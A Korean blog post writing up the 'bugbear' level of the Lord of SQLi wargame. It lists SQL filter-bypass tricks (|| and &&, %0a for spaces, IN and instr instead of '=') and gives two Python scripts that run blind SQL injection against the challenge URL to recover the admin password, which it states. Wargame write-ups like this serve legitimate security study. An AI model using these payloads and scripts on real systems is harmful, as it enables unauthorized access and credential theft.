article thumbnail image
Published 2021. 7. 20. 17:03

 

bugbear 입장!

bugbear도 똑같이 admin의 password를 알아내야 하는 문제다.

이번 문제는 no에서 싱글쿼터와 함수명 뿐만 아니라 or, and, 공백, like까지 필터링하고 있다.

 

or와 and는 ||와 &&를 대체로 쓰면되고, 공백은 %0a를 사용하여 우회할 수 있다.

like같은 경우 등호 문자를 대체하여 쓴 것이었기 때문에 등호 문자 필터링을 우회할 수 있는 다른 방법을 사용하면 된다.

등호문자 필터링 우회 방법은 아래와 같다.

 

    ① LIKE 연산자

        - id like "admin"

 

    ② IN 연산자

        - id in ("admin")

 

    ③ instr(string $str, string $substr)

        - instr(id, "admin")

 

    ④ 부등호 (< , >)

        - length(pw) > 7 and length(pw) < 9

 

필자는 in 연산자를 사용해서 우회했다.

 

 

 

위 필터링 우회 방법을 사용해서 password의 길이를 구했다.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {'PHPSESSID' : 'mhqtu5prhfu4vrj3ouh3fat832'}

i = 1
while True:
    query='?no=0%0a%7c%7c%0aid%0ain%0a("admin")%0a%26%26%0alength(pw)<'+str(i)+'%23'
    result = requests.get(url+query, cookies=cookies)
    if("Hello admin" in result.text):
        break;
    print(i)
    i+=1
print("Password Length :", i-1)

password의 길이는 8이다.

이제 password를 구해보자.

import requests

url="https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php"
cookies = {'PHPSESSID' : 'mhqtu5prhfu4vrj3ouh3fat832'}

pw=""

for i in range(1, 9):
    for ch in range(48, 123):
        if 58 <= ch <= 96: continue
        query='?no=1%0a%7c%7c%0aid%0ain%0a("admin")%26%26mid(pw,'+str(i)+',1)%0ain%0a("'+chr(ch)+'")'
        result=requests.get(url+query, cookies=cookies)
        if("Hello admin" in result.text):
            pw += chr(ch)
            print("[+] Finding...", pw)
            break
print("[*] Password :", pw)

아래는 자동화프로그램의 실행결과다.

password는 52dc3991이다.

 

 

 

password를 get방식으로 전달해보자.

bugbear 해결!

 

 

 

 

'Study > Web Hacking' 카테고리의 다른 글

[LOS] giant  (0) 2021.07.26
[natas] Level 22 -> Level 23  (0) 2021.07.26
[natas] Level 21 -> Level 22  (0) 2021.07.20
[LOS] darkknight  (0) 2021.07.17
[natas] Level 20 -> Level 21  (0) 2021.07.17
복사했습니다!